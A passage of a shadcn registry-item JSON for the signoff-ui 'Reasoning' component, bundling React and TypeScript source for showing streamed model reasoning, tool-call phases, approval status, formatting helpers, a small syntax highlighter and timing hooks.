{
  "$schema": "https://ui.shadcn.com/schema/registry-item.json",
  "name": "reasoning",
  "title": "Reasoning",
  "author": "Diogo Esteves <https://github.com/dgesteves>",
  "description": "Collapsible model reasoning that opens while streaming and summarizes its duration.",
  "dependencies": [
    "@radix-ui/react-collapsible@^1.2.1",
    "ai",
    "clsx@^2.1.1",
    "react-markdown@^10.1.0",
    "remark-gfm@^4.0.1",
    "remend@^1.4.0",
    "tailwind-merge@^3.7.0"
  ],
  "files": [
    {
      "path": "packages/signoff-ui/src/reasoning.tsx",
      "content": "'use client';\n\nimport { Markdown } from './markdown';\nimport { ReasoningBase, type ReasoningProps } from './reasoning-base';\n\nexport type { ReasoningProps } from './reasoning-base';\n\n/**\n * Collapsible model reasoning. Opens automatically while the model thinks and\n * collapses to a one-line \"Thought for 3.2s\" summary when it finishes, unless\n * the user has toggled it.\n */\nexport function Reasoning(props: ReasoningProps) {\n  return <ReasoningBase {...props} builtInMarkdown={Markdown} />;\n}\n",
      "type": "registry:component",
      "target": "components/signoff-ui/reasoning.tsx"
    },
    {
      "path": "packages/signoff-ui/src/labels.tsx",
      "content": "'use client';\n\nimport { createContext, useContext, useMemo, type ReactNode } from 'react';\nimport { defaultLabels, mergeLabels, type SignoffLabels, type SignoffLabelsInput } from './lib/labels';\n\n/** What the providers above give: their labels merged, the nearest winning. Empty without one. */\nconst LabelsContext = createContext<SignoffLabelsInput>({});\n\n/**\n * Labels for every component inside: a translation of `defaultLabels`, whole or in part. Providers\n * nest, the inner one winning key by key. Labels hold functions, so render the provider from a\n * Client Component (a module with 'use client') and keep the object stable: at module scope, or memoized.\n */\nexport function SignoffLabelsProvider({ labels, children }: { labels: SignoffLabelsInput; children: ReactNode }) {\n  const parent = useContext(LabelsContext);\n  const value = useMemo(() => mergeLabels(parent, labels), [parent, labels]);\n  return <LabelsContext.Provider value={value}>{children}</LabelsContext.Provider>;\n}\n\n/** A component's own `labels`, for what it renders inside too; nothing extra without them. */\nexport function WithLabels({ labels, children }: { labels: SignoffLabelsInput | undefined; children: ReactNode }) {\n  return labels ? <SignoffLabelsProvider labels={labels}>{children}</SignoffLabelsProvider> : children;\n}\n\n/** Every label in effect here: the English, the providers' over it, and `overrides` over both. */\nexport function useSignoffLabels(overrides?: SignoffLabelsInput): SignoffLabels {\n  const context = useContext(LabelsContext);\n  return useMemo(() => mergeLabels(defaultLabels, context, overrides), [context, overrides]);\n}\n\n/**\n * The sections a component reads, from their English defaults (a module-level object, such as\n * `{ sources: sourcesLabels }`), with the providers' labels and the component's own over them.\n * Only those sections' defaults end up in the component's bundle.\n */\nexport function useLabels<T extends Partial<SignoffLabels>>(defaults: T, overrides?: SignoffLabelsInput): T {\n  const context = useContext(LabelsContext);\n  return useMemo(() => {\n    const keys = Object.keys(defaults) as (keyof T & keyof SignoffLabelsInput)[];\n    if (!overrides && keys.every((key) => context[key] === undefined)) return defaults;\n    const own: SignoffLabelsInput = {};\n    const theirs: SignoffLabelsInput = {};\n    for (const key of keys) {\n      if (context[key] !== undefined) Object.assign(theirs, { [key]: context[key] });\n      if (overrides?.[key] !== undefined) Object.assign(own, { [key]: overrides[key] });\n    }\n    return mergeLabels(defaults as SignoffLabelsInput, theirs, own) as T;\n  }, [defaults, context, overrides]);\n}\n",
      "type": "registry:component",
      "target": "components/signoff-ui/labels.tsx"
    },
    {
      "path": "packages/signoff-ui/src/lib/ai.ts",
      "content": "/**\n * Thin, dependency-free helpers over AI SDK v7 `UIMessage` parts.\n * Only types are imported from `ai`, so nothing from the SDK runtime ends up in the bundle.\n */\nimport type {\n  ChatStatus,\n  DynamicToolUIPart,\n  LanguageModelUsage,\n  ReasoningUIPart,\n  SourceDocumentUIPart,\n  SourceUrlUIPart,\n  TextUIPart,\n  ToolUIPart,\n  UIMessage,\n  UITools,\n} from 'ai';\n\n/**\n * Fields AI SDK 7 added to a tool part's `approval`: whether a `toolApproval` policy decided it,\n * and why the tool asked. AI SDK 6 has neither, so they are read defensively.\n */\ntype ApprovalExtras = { isAutomatic?: unknown; requestReason?: unknown } | undefined;\n\n/** Whether a policy decided the approval rather than a person. Always false on AI SDK 6. */\nexport function isAutomaticApproval(approval: object | undefined): boolean {\n  return (approval as ApprovalExtras)?.isAutomatic === true;\n}\n\n/**\n * Denied after a person approved it, by a check on the server: AI SDK 7 checks edited arguments\n * against `toolApproval` again. That denial streams with no reason, and the part keeps the approval.\n */\nexport function isDeniedAfterApproval(part: { state: string; approval?: object | undefined }): boolean {\n  return part.state === 'output-denied' && (part.approval as { approved?: unknown } | undefined)?.approved === true;\n}\n\n/** The reason the tool gave for asking (AI SDK 7's `requestReason`), if any. */\nexport function getApprovalRequestReason(approval: object | undefined): string | undefined {\n  const reason = (approval as ApprovalExtras)?.requestReason;\n  return typeof reason === 'string' ? reason : undefined;\n}\n\nexport type { ChatStatus, UIMessage };\n\n/** Any part of any `UIMessage`. */\nexport type AnyUIPart = UIMessage['parts'][number];\n/** A static (`tool-${name}`) or dynamic tool part. */\nexport type ToolPart = ToolUIPart<UITools> | DynamicToolUIPart;\n/** The AI SDK v7 tool part states. */\nexport type ToolState = ToolPart['state'];\nexport type SourcePart = SourceUrlUIPart | SourceDocumentUIPart;\nexport type { ReasoningUIPart, SourceDocumentUIPart, SourceUrlUIPart, TextUIPart };\n\n/** Token usage, compatible with the AI SDK `LanguageModelUsage` shape. */\nexport type RunUsage = {\n  inputTokens?: number | undefined;\n  outputTokens?: number | undefined;\n  totalTokens?: number | undefined;\n  inputTokenDetails?: Partial<LanguageModelUsage['inputTokenDetails']> | undefined;\n  outputTokenDetails?: Partial<LanguageModelUsage['outputTokenDetails']> | undefined;\n};\n\nexport const TOOL_STATES = [\n  'input-streaming',\n  'input-available',\n  'approval-requested',\n  'approval-responded',\n  'output-available',\n  'output-error',\n  'output-denied',\n] as const satisfies readonly ToolState[];\n\nexport function isToolPart(part: { type: string }): part is ToolPart {\n  return part.type === 'dynamic-tool' || part.type.startsWith('tool-');\n}\n\nexport function isSourcePart(part: { type: string }): part is SourcePart {\n  return part.type === 'source-url' || part.type === 'source-document';\n}\n\n/** Same semantics as the SDK's `getToolName`, without the runtime import. */\nexport function getToolPartName(part: ToolPart): string {\n  return part.type === 'dynamic-tool' ? part.toolName : part.type.slice('tool-'.length);\n}\n\n/**\n * A UI-level phase derived from the SDK tool state. Several SDK states collapse\n * into one visual phase (e.g. an approved call that has not returned yet is \"running\").\n */\nexport type ToolPhase = 'streaming' | 'running' | 'awaiting-approval' | 'success' | 'error' | 'denied';\n\nexport function getToolPhase(\n  part: Pick<ToolPart, 'state'> & {\n    approval?: { approved?: boolean; isAutomatic?: boolean } | undefined;\n    preliminary?: boolean | undefined;\n  },\n): ToolPhase {\n  switch (part.state) {\n    case 'input-streaming':\n      return 'streaming';\n    case 'input-available':\n      return 'running';\n    case 'approval-requested':\n      // A policy decision (`isAutomatic`) streams as a request immediately followed by its response.\n      return part.approval?.isAutomatic ? 'running' : 'awaiting-approval';\n    case 'approval-responded':\n      return part.approval?.approved ? 'running' : 'denied';\n    case 'output-available':\n      return part.preliminary ? 'running' : 'success';\n    case 'output-error':\n      return 'error';\n    case 'output-denied':\n      return 'denied';\n  }\n}\n\n/** The English phase names. The timeline reads them from `labels.toolCallTimeline.phases`. */\nexport const TOOL_PHASE_LABEL: Record<ToolPhase, string> = {\n  streaming: 'Preparing',\n  running: 'Running',\n  'awaiting-approval': 'Needs approval',\n  success: 'Done',\n  error: 'Failed',\n  denied: 'Denied',\n};\n\nexport function isSettledPhase(phase: ToolPhase): boolean {\n  return phase === 'success' || phase === 'error' || phase === 'denied';\n}\n\nexport function getToolParts(parts: readonly AnyUIPart[]): ToolPart[] {\n  return parts.filter(isToolPart);\n}\n\n/** Where a sub-agent is: working, finished, failed, or paused until a later run (AG-UI's `suspended`). */\nexport type SubagentStatus = 'running' | 'done' | 'error' | 'suspended';\n\n/** A sub-agent's run, as the `data` of a `data-signoff-subagent` part. */\nexport interface SubagentData {\n  subagentRunId: string;\n  /** The tool call that started it: the timeline nests the sub-agent under that call. */\n  parentToolCallId?: string | undefined;\n  name?: string | undefined;\n  status: SubagentStatus;\n  /** What went wrong, when `status` is `error`. */\n  errorText?: string | undefined;\n  /** Its tool calls and text, as message parts. A sub-agent it started is a part here too. */\n  parts: AnyUIPart[];\n}\n\n/** A sub-agent's work, in its parent's message: the AG-UI adapter makes one, and you can stream your own. */\nexport interface SubagentPart {\n  type: 'data-signoff-subagent';\n  id?: string | undefined;\n  data: SubagentData;\n}\n\nexport function isSubagentPart(part: { type: string }): part is SubagentPart {\n  return part.type === 'data-signoff-subagent' && Array.isArray((part as SubagentPart).data?.parts);\n}\n\n/** Every tool call in `parts`, with those of its sub-agents, at any depth. */\nexport function getAllToolParts(parts: readonly AnyUIPart[]): ToolPart[] {\n  const out: ToolPart[] = [];\n  for (const part of parts) {\n    if (isToolPart(part)) out.push(part);\n    else if (isSubagentPart(part)) out.push(...getAllToolParts(part.data.parts));\n  }\n  return out;\n}\n\n/**\n * Calls that only the model or a tool can still finish: input still streaming, running, or partial\n * output. Once the run has ended, these were cut off. An approved call waiting for the app to send\n * the continuation (`approval-responded`) is not one: `useChat` sends it after a render. Once that\n * request has `failed`, it is: its result will not come.\n */\nexport function isInterruptibleToolPart(part: ToolPart, failed = false): boolean {\n  return (\n    part.state === 'input-streaming' ||\n    part.state === 'input-available' ||\n    (part.state === 'output-available' && part.preliminary === true) ||\n    (failed && part.state === 'approval-responded' && part.approval.approved === true)\n  );\n}\n\nexport type ApprovalStatus = 'pending' | 'approved' | 'denied';\n\n/** The approval state of a tool part, or `undefined` for parts outside the approval flow. */\nexport function getApprovalStatus(part: ToolPart): ApprovalStatus | undefined {\n  if (!part.approval) return undefined;\n  if (part.state === 'approval-requested') return 'pending';\n  if (part.state === 'output-denied') return 'denied';\n  return part.approval.approved ? 'approved' : part.approval.approved === false ? 'denied' : 'pending';\n}\n\nexport interface ToolTiming {\n  /** First time the call was observed (input started streaming). */\n  startedAt?: number | undefined;\n  /** When execution began: input complete, or approval granted. Unset while the call waits for approval. */\n  runningAt?: number | undefined;\n  /** When the call settled (output, error or denial). */\n  endedAt?: number | undefined;\n}\n\nexport type ToolTimings = Readonly<Record<string, ToolTiming>>;\n\n/** Pure reducer behind `useToolTimings`, exported for tests and custom stores. */\nexport function observeToolTimings(prev: ToolTimings, tools: readonly ToolPart[], now: number): ToolTimings {\n  let next: Record<string, ToolTiming> | undefined;\n  const write = (id: string, value: ToolTiming) => {\n    next ??= { ...prev };\n    next[id] = value;\n  };\n  for (const tool of tools) {\n    const phase = getToolPhase(tool);\n    const current = (next ?? prev)[tool.toolCallId];\n    if (!current) {\n      if (isSettledPhase(phase)) write(tool.toolCallId, {});\n      else write(tool.toolCallId, { startedAt: now, runningAt: phase === 'running' ? now : undefined });\n      continue;\n    }\n    if (current.startedAt === undefined || current.endedAt !== undefined) continue;\n    if (phase === 'running' && current.runningAt === undefined) write(tool.toolCallId, { ...current, runningAt: now });\n    // A call can look running before its approval request arrives (AI SDK 6 renders `input-available`\n    // first; AG-UI does between TOOL_CALL_END and the interrupt). Its run starts again once approved.\n    else if (phase === 'awaiting-approval' && current.runningAt !== undefined)\n      write(tool.toolCallId, { ...current, runningAt: undefined });\n    else if (isSettledPhase(phase))\n      write(tool.toolCallId, { ...current, runningAt: current.runningAt ?? now, endedAt: now });\n  }\n  return next ?? prev;\n}\n\n/** Collect sources, de-duplicated by URL (or source id for documents). */\nexport function getSourceParts(parts: readonly AnyUIPart[]): SourcePart[] {\n  const seen = new Set<string>();\n  const out: SourcePart[] = [];\n  for (const part of parts) {\n    if (!isSourcePart(part)) continue;\n    const key = part.type === 'source-url' ? part.url : `doc:${part.sourceId}`;\n    if (seen.has(key)) continue;\n    seen.add(key);\n    out.push(part);\n  }\n  return out;\n}\n\n/** A source in app-level shape. AI SDK `source-url` / `source-document` parts are accepted too. */\nexport interface SourceItem {\n  id: string;\n  url?: string | undefined;\n  title?: string | undefined;\n  /** Optional snippet shown in the cards variant. */\n  description?: string | undefined;\n  /** For documents. */\n  filename?: string | undefined;\n  mediaType?: string | undefined;\n}\n\nexport function toSourceItem(source: SourcePart | SourceItem): SourceItem {\n  if ('type' in source && isSourcePart(source as SourcePart)) {\n    const part = source as SourcePart;\n    return part.type === 'source-url'\n      ? { id: part.sourceId, url: part.url, title: part.title }\n      : { id: part.sourceId, title: part.title, filename: part.filename, mediaType: part.mediaType };\n  }\n  return source as SourceItem;\n}\n\nexport type AgentState = 'idle' | 'thinking' | 'working' | 'awaiting-approval' | 'done' | 'stopped' | 'error';\n\n/** The English state names. `AgentStatus` reads them from `labels.agentStatus.states`. */\nexport const AGENT_STATE_LABEL: Record<AgentState, string> = {\n  idle: 'Idle',\n  thinking: 'Thinking',\n  working: 'Working',\n  'awaiting-approval': 'Waiting for approval',\n  done: 'Done',\n  stopped: 'Stopped',\n  error: 'Error',\n};\n\nexport interface DerivedAgentState {\n  state: AgentState;\n  /** Short human detail, e.g. \"read_file\" or \"Writing response\". */\n  detail?: string | undefined;\n}\n\n/**\n * Map `useChat` status plus the latest assistant message to a single agent state.\n * Human-in-the-loop waits (approvals, client-side tools awaiting output) take\n * precedence over transport status, because the run cannot progress without the user.\n *\n * A run that ended (`ready`) with work still unfinished in the message is `stopped`, not `done`:\n * text or reasoning still streaming, a tool call still preparing, running or partial, or a\n * sub-agent still running. That is what `stop()` leaves behind, and what an AG-UI run cancelled or\n * aborted mid-way does. A client-side tool the app runs itself is the exception: name it in\n * `clientTools`.\n */\nexport function deriveAgentState({\n  status,\n  message,\n  pendingClientTools = [],\n  clientTools = [],\n  writingResponse = 'Writing response',\n}: {\n  status: ChatStatus;\n  message?: Pick<UIMessage, 'role' | 'parts'> | undefined;\n  /**\n   * Names of client-side tools whose `input-available` state means \"waiting for the user\". Pass the\n   * same names to `AgentMessage`, so their calls show no duration: the time is the person's.\n   */\n  pendingClientTools?: readonly string[];\n  /**\n   * Names of client-side tools the app runs itself (`onToolCall`, then `addToolOutput`). `useChat`\n   * is `ready` while one runs: its `input-available` call then reads `working` with the tool's name\n   * as the detail, not `stopped`, until the output lands and the run continues.\n   */\n  clientTools?: readonly string[];\n  /** The detail while the model writes its answer. Default \"Writing response\": pass `labels.agentStatus.writingResponse`. */\n  writingResponse?: string;\n}): DerivedAgentState {\n  if (status === 'error') return { state: 'error' };\n  const parts = message?.role === 'assistant' ? message.parts : [];\n  // A sub-agent's calls count as the message's own: one waiting on approval holds up the run.\n  const tools = getAllToolParts(parts);\n  const approval = tools.find((t) => t.state === 'approval-requested' && !isAutomaticApproval(t.approval));\n  if (approval) return { state: 'awaiting-approval', detail: getToolPartName(approval) };\n  const clientWait = tools.find(\n    (t) => t.state === 'input-available' && pendingClientTools.includes(getToolPartName(t)),\n  );\n  if (clientWait && status !== 'submitted') return { state: 'awaiting-approval', detail: getToolPartName(clientWait) };\n  if (status === 'submitted') return { state: 'thinking' };\n  if (status === 'streaming') {\n    let last = parts.at(-1);\n    if (!last || last.type === 'step-start' || last.type === 'reasoning') return { state: 'thinking' };\n    // A settled call (done, failed or denied) or a sub-agent that has finished is not work: the model\n    // is answering it. Parallel calls settle in any order, so a call or sub-agent of this step still\n    // running before it is. Calls of earlier steps had all settled when this one started.\n    if (isSettledWork(last)) {\n      const step = parts.slice(parts.findLastIndex((p) => p.type === 'step-start') + 1);\n      last = step.findLast((p) => (isToolPart(p) || isSubagentPart(p)) && !isSettledWork(p));\n      if (!last) return { state: 'thinking' };\n    }\n    if (isToolPart(last)) return { state: 'working', detail: getToolPartName(last) };\n    if (isSubagentPart(last)) {\n      // Its call still going, or the sub-agent itself while it thinks between calls.\n      const call = getAllToolParts([last]).findLast((t) => !isSettledPhase(getToolPhase(t)));\n      return { state: 'working', detail: call ? getToolPartName(call) : last.data.name };\n    }\n    if (last.type === 'text') return { state: 'working', detail: writingResponse };\n    return { state: 'working' };\n  }\n  if (status === 'ready') {\n    const running = tools.find((t) => t.state === 'input-available' && clientTools.includes(getToolPartName(t)));\n    if (running) return { state: 'working', detail: getToolPartName(running) };\n    if (parts.some(isUnfinishedPart)) return { state: 'stopped' };\n  }\n  return parts.length > 0 ? { state: 'done' } : { state: 'idle' };\n}\n\n/** A call that has settled (done, failed or denied), or a sub-agent no longer running. */\nfunction isSettledWork(part: AnyUIPart): boolean {\n  if (isToolPart(part)) return isSettledPhase(getToolPhase(part));\n  return isSubagentPart(part) && part.data.status !== 'running';\n}\n\n/**\n * A part the run left unfinished: text or reasoning still streaming, an interrupted tool call, or a\n * sub-agent still running (the run ended between its steps, with its calls settled).\n */\nfunction isUnfinishedPart(part: AnyUIPart): boolean {\n  if (part.type === 'text' || part.type === 'reasoning') return part.state === 'streaming';\n  if (isSubagentPart(part)) return part.data.status === 'running' || part.data.parts.some(isUnfinishedPart);\n  return isToolPart(part) && isInterruptibleToolPart(part);\n}\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/ai.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/format.ts",
      "content": "/** Formatting helpers shared by the components. All output is locale-stable. */\n\n/*\n * Each unit is chosen by the value as it will be printed, not the raw value: otherwise rounding\n * produces \"1000ms\", \"60.0s\" or \"1000.0k\" instead of moving up to the next unit.\n */\n\nexport function formatDuration(ms: number | undefined | null): string {\n  if (ms == null || !Number.isFinite(ms) || ms < 0) return '–';\n  if (Math.round(ms) < 1000) return `${Math.round(ms)}ms`;\n  const centis = (ms / 1000).toFixed(2);\n  if (Number(centis) < 10) return `${centis}s`;\n  const tenths = (ms / 1000).toFixed(1);\n  if (Number(tenths) < 60) return `${tenths}s`;\n  const seconds = Math.round(ms / 1000);\n  return `${Math.floor(seconds / 60)}m ${String(seconds % 60).padStart(2, '0')}s`;\n}\n\n/** Spoken form for screen readers, e.g. \"1.2 seconds\". */\nexport function formatDurationLong(ms: number | undefined | null): string {\n  if (ms == null || !Number.isFinite(ms) || ms < 0) return 'unknown duration';\n  if (Math.round(ms) < 1000) return `${Math.round(ms)} milliseconds`;\n  const tenths = (ms / 1000).toFixed(1);\n  if (Number(tenths) < 60) return `${tenths} seconds`;\n  const total = Math.round(ms / 1000);\n  const minutes = Math.floor(total / 60);\n  const rest = total % 60;\n  return `${minutes} minute${minutes === 1 ? '' : 's'} ${rest} second${rest === 1 ? '' : 's'}`;\n}\n\nexport function formatTokens(n: number | undefined | null): string {\n  if (n == null || !Number.isFinite(n)) return '–';\n  if (Math.abs(Math.round(n)) < 1000) return String(Math.round(n));\n  const hundredths = (n / 1000).toFixed(2);\n  if (Math.abs(Number(hundredths)) < 10) return `${hundredths}k`;\n  const tenths = (n / 1000).toFixed(1);\n  if (Math.abs(Number(tenths)) < 1000) return `${tenths}k`;\n  return `${(n / 1_000_000).toFixed(2)}M`;\n}\n\nexport function formatCost(usd: number | undefined | null): string {\n  if (usd == null || !Number.isFinite(usd)) return '–';\n  if (usd === 0) return '$0.00';\n  const four = usd.toFixed(4);\n  if (Math.abs(Number(four)) < 0.01) return `$${four}`;\n  const three = usd.toFixed(3);\n  if (Math.abs(Number(three)) < 1) return `$${three}`;\n  return `$${usd.toFixed(2)}`;\n}\n\n/** `read_file` / `readFile` / `read-file` → \"Read file\". */\nexport function humanizeToolName(name: string): string {\n  const spaced = name\n    .replace(/[_-]+/g, ' ')\n    .replace(/([a-z0-9])([A-Z])/g, '$1 $2')\n    .trim()\n    .toLowerCase();\n  return spaced.charAt(0).toUpperCase() + spaced.slice(1);\n}\n\nexport function getHostname(url: string): string {\n  try {\n    return new URL(url).hostname.replace(/^www\\./, '');\n  } catch {\n    return url;\n  }\n}\n\n/** Compact one-line preview of an arbitrary tool input. */\nexport function summarizeValue(value: unknown, max = 72): string | undefined {\n  if (value == null) return undefined;\n  let text: string;\n  if (typeof value === 'string') text = value;\n  else if (typeof value === 'number' || typeof value === 'boolean') text = String(value);\n  else if (typeof value === 'object') {\n    const entries = Object.entries(value as Record<string, unknown>);\n    if (entries.length === 0) return undefined;\n    // Prefer the first string-ish field: it is usually the most descriptive (query, path, command).\n    const primary = entries.find(([, v]) => typeof v === 'string');\n    text = primary\n      ? String(primary[1])\n      : entries.map(([k, v]) => `${k}: ${typeof v === 'object' ? '…' : String(v)}`).join(', ');\n  } else return undefined;\n  text = text.replace(/\\s+/g, ' ').trim();\n  return text.length > max ? `${text.slice(0, max - 1)}…` : text;\n}\n\n/**\n * A value as JSON, for showing it: a bigint as `10n`, and an object inside itself as `[Circular]`.\n * Only a cycle is: an object that comes twice, side by side (`{ a: env, b: env }`), is written out\n * each time, as the call that receives it reads it.\n */\nexport function safeStringify(value: unknown, space = 2): string {\n  if (value === undefined) return 'undefined';\n  if (typeof value === 'string') return JSON.stringify(value);\n  // The objects from the root down to the one being written, which only a cycle comes back to.\n  const path: object[] = [];\n  try {\n    return (\n      JSON.stringify(\n        value,\n        function (this: unknown, _key, v: unknown) {\n          if (typeof v === 'bigint') return `${v.toString()}n`;\n          if (typeof v === 'object' && v !== null) {\n            // `this` holds `v`: what is below it on the path was written, and is not around `v`.\n            while (path.length > 0 && path.at(-1) !== this) path.pop();\n            if (path.includes(v)) return '[Circular]';\n            path.push(v);\n          }\n          return v;\n        },\n        space,\n      ) ?? String(value)\n    );\n  } catch {\n    return String(value);\n  }\n}\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/format.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/highlight.ts",
      "content": "/**\n * A deliberately small, line-oriented syntax tokenizer. It covers the languages\n * agents edit most (TS/JS/JSON/CSS/shell/YAML/Python) well enough for review UI\n * without shipping a grammar engine. Multi-line constructs are tokenized per line.\n */\nexport type TokenKind = 'plain' | 'keyword' | 'string' | 'number' | 'comment' | 'punctuation' | 'property';\n\nexport interface Token {\n  text: string;\n  kind: TokenKind;\n}\n\nconst JS_KEYWORDS = new Set(\n  (\n    'abstract as async await break case catch class const continue debugger declare default delete do else enum export extends ' +\n    'false finally for from function get if implements import in instanceof interface let new null of private protected public ' +\n    'readonly return satisfies set static super switch this throw true try type typeof undefined var void while with yield'\n  ).split(' '),\n);\nconst PY_KEYWORDS = new Set(\n  'and as assert async await break class continue def del elif else except False finally for from global if import in is lambda None nonlocal not or pass raise return True try while with yield'.split(\n    ' ',\n  ),\n);\nconst SH_KEYWORDS = new Set(\n  'if then else elif fi for in do done while case esac function export local return'.split(' '),\n);\nconst LITERALS = new Set(['true', 'false', 'null']);\n\nconst HASH_COMMENT = new Set(['sh', 'py', 'yaml']);\n\nconst RULES: Array<[RegExp, TokenKind | 'word']> = [\n  [/^\\/\\/.*/, 'comment'],\n  [/^\\/\\*.*?(\\*\\/|$)/, 'comment'],\n  [/^\"(?:[^\"\\\\]|\\\\.)*\"?/, 'string'],\n  [/^'(?:[^'\\\\]|\\\\.)*'?/, 'string'],\n  [/^`(?:[^`\\\\]|\\\\.)*`?/, 'string'],\n  [/^-?(?:0x[\\da-f]+|\\d[\\d_]*(?:\\.\\d+)?(?:e[+-]?\\d+)?)\\b/i, 'number'],\n  [/^[A-Za-z_$][\\w$-]*/, 'word'],\n  [/^\\s+/, 'plain'],\n  [/^[{}()[\\];,.<>/=+\\-*!?:&|%^~@#]/, 'punctuation'],\n];\n\nexport function tokenizeLine(line: string, language = 'text'): Token[] {\n  if (language === 'text' || language === 'md' || !line) return [{ text: line, kind: 'plain' }];\n  const tokens: Token[] = [];\n  const keywords = language === 'py' ? PY_KEYWORDS : language === 'sh' ? SH_KEYWORDS : JS_KEYWORDS;\n  let rest = line;\n  while (rest.length > 0) {\n    if (HASH_COMMENT.has(language) && rest.startsWith('#')) {\n      tokens.push({ text: rest, kind: 'comment' });\n      break;\n    }\n    let matched = false;\n    for (const [re, kind] of RULES) {\n      if (\n        (kind === 'comment' && HASH_COMMENT.has(language)) ||\n        (language === 'css' && kind === 'comment' && re.source.startsWith('^\\\\/\\\\/'))\n      )\n        continue;\n      const m = re.exec(rest);\n      if (!m) continue;\n      const text = m[0];\n      let resolved: TokenKind;\n      if (kind === 'word') {\n        if (language === 'json') resolved = LITERALS.has(text) ? 'keyword' : 'plain';\n        else if (language === 'css') resolved = /^\\s*:/.test(rest.slice(text.length)) ? 'property' : 'plain';\n        else if (language === 'yaml')\n          resolved = /^\\s*:/.test(rest.slice(text.length)) ? 'property' : LITERALS.has(text) ? 'keyword' : 'plain';\n        else resolved = keywords.has(text) ? 'keyword' : 'plain';\n        // Identifiers may not contain '-' outside CSS/YAML/shell; give the dash back.\n        if (text.includes('-') && !['css', 'yaml', 'sh'].includes(language)) {\n          const word = text.slice(0, text.indexOf('-'));\n          tokens.push({ text: word, kind: keywords.has(word) ? 'keyword' : 'plain' });\n          rest = rest.slice(word.length);\n          matched = true;\n          break;\n        }\n      } else if (\n        kind === 'string' &&\n        (language === 'json' || language === 'yaml') &&\n        /^\\s*:/.test(rest.slice(text.length))\n      ) {\n        resolved = 'property';\n      } else {\n        resolved = kind;\n      }\n      pushToken(tokens, text, resolved);\n      rest = rest.slice(text.length);\n      matched = true;\n      break;\n    }\n    if (!matched) {\n      pushToken(tokens, rest[0]!, 'plain');\n      rest = rest.slice(1);\n    }\n  }\n  return tokens;\n}\n\nfunction pushToken(tokens: Token[], text: string, kind: TokenKind) {\n  const prev = tokens.at(-1);\n  if (prev && prev.kind === kind) prev.text += text;\n  else tokens.push({ text, kind });\n}\n\nexport interface HighlightedPiece extends Token {\n  changed: boolean;\n}\n\n/** Split syntax tokens along word-diff boundaries so both can be rendered at once. */\nexport function mergeTokensWithSegments(\n  tokens: readonly Token[],\n  segments: ReadonlyArray<{ text: string; changed: boolean }> | undefined,\n): HighlightedPiece[] {\n  if (!segments || segments.length === 0) return tokens.map((t) => ({ ...t, changed: false }));\n  const out: HighlightedPiece[] = [];\n  let ti = 0;\n  let tOffset = 0;\n  for (const seg of segments) {\n    let remaining = seg.text.length;\n    while (remaining > 0 && ti < tokens.length) {\n      const token = tokens[ti]!;\n      const available = token.text.length - tOffset;\n      const take = Math.min(available, remaining);\n      out.push({ text: token.text.slice(tOffset, tOffset + take), kind: token.kind, changed: seg.changed });\n      remaining -= take;\n      tOffset += take;\n      if (tOffset >= token.text.length) {\n        ti++;\n        tOffset = 0;\n      }\n    }\n  }\n  return out;\n}\n\nexport const TOKEN_CLASS: Record<TokenKind, string> = {\n  plain: '',\n  keyword: 'text-signoff-code-keyword',\n  string: 'text-signoff-code-string',\n  number: 'text-signoff-code-number',\n  comment: 'text-signoff-code-comment italic',\n  punctuation: 'text-signoff-code-punctuation',\n  property: 'text-signoff-code-keyword',\n};\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/highlight.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/hooks.ts",
      "content": "'use client';\n\nimport { useEffect, useLayoutEffect, useRef, useState, useSyncExternalStore } from 'react';\nimport { getAllToolParts, observeToolTimings, type AnyUIPart, type ChatStatus, type ToolTimings } from './ai';\n\nexport type { ToolTiming, ToolTimings } from './ai';\n\nconst useIsoLayoutEffect = typeof window === 'undefined' ? useEffect : useLayoutEffect;\n\nconst REDUCED_MOTION = '(prefers-reduced-motion: reduce)';\n\nfunction subscribeReducedMotion(callback: () => void) {\n  if (typeof window === 'undefined' || !window.matchMedia) return () => {};\n  const mql = window.matchMedia(REDUCED_MOTION);\n  mql.addEventListener('change', callback);\n  return () => mql.removeEventListener('change', callback);\n}\n\n/** Tracks the user's `prefers-reduced-motion` setting. */\nexport function usePrefersReducedMotion(): boolean {\n  return useSyncExternalStore(\n    subscribeReducedMotion,\n    () => (typeof window !== 'undefined' && window.matchMedia ? window.matchMedia(REDUCED_MOTION).matches : false),\n    () => false,\n  );\n}\n\n/**\n * Current time in ms, re-rendering on an interval while `active`.\n * The value can lag by up to one interval; clamp derived durations at 0.\n *\n * 0 on the server: reading the clock there makes the render impure (Next.js `cacheComponents`\n * fails the build on it), and clock-derived output waits for hydration anyway (`useHydrated`).\n */\nexport function useNow(active: boolean, intervalMs = 100): number {\n  const [now, setNow] = useState(() => (typeof window === 'undefined' ? 0 : Date.now()));\n  useEffect(() => {\n    if (!active) return;\n    const tick = () => setNow(Date.now());\n    const first = setTimeout(tick, 0);\n    const id = setInterval(tick, intervalMs);\n    return () => {\n      clearTimeout(first);\n      clearInterval(id);\n    };\n  }, [active, intervalMs]);\n  return now;\n}\n\n/** A tiny external store: subscribe/getSnapshot plus an `update` that only notifies on change. */\nfunction createStore<T>(initial: T) {\n  let state = initial;\n  const listeners = new Set<() => void>();\n  return {\n    get: () => state,\n    set(next: T) {\n      if (next === state) return;\n      state = next;\n      listeners.forEach((l) => l());\n    },\n    subscribe(listener: () => void) {\n      listeners.add(listener);\n      return () => listeners.delete(listener);\n    },\n  };\n}\n\n/**\n * Measures tool-call timings client-side by watching AI SDK state transitions, a sub-agent's calls\n * included. Calls that are already settled when first observed (e.g. restored history)\n * get no timing rather than a misleading zero.\n */\nexport function useToolTimings(parts: readonly AnyUIPart[]): ToolTimings {\n  const [store] = useState(() => createStore<ToolTimings>({}));\n  const snapshot = useSyncExternalStore(store.subscribe, store.get, store.get);\n  useIsoLayoutEffect(() => {\n    store.set(observeToolTimings(store.get(), getAllToolParts(parts), Date.now()));\n  }, [parts, store]);\n  return snapshot;\n}\n\nexport interface RunTiming {\n  /** When the run was first seen in flight: its first request, or later if it was already running. */\n  startedAt?: number | undefined;\n  /** When the run's first response arrived. Undefined while unknown, as `ttftMs`. */\n  firstTokenAt?: number | undefined;\n  /** Milliseconds the agent spent working, excluding time waiting on the user. */\n  activeMs: number;\n  /**\n   * Time to first token of the run: from submitting its first request to the first streamed status.\n   * A first request that ends without a `streaming` status (its response arrived in one burst) 